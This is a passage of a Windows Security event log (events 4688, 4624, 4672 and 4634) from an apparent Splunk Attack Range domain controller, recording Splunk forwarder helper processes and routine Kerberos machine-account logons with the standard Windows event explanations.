	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255417
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10dc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255416
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255418
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255421
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3073CF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:10:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255420
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3073CF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62571

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:10:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255419
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3073CF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:11:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255422
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbf0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:11:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255423
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:11:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255425
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:11:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255424
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa0c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:11:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255427
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:11:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255426
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:11:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255428
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:11:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255430
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x309EEF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62578

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:11:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255429
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x309EEF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:11:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255431
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x309EEF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:11:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255434
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30AAEA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:11:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255433
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x30AAEA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62586

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:11:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255432
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30AAEA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:12:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255440
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30ADBB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:12:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255439
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x30ADBB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62589

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:12:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255438
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30ADBB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:12:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255437
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x30AD4F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:12:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
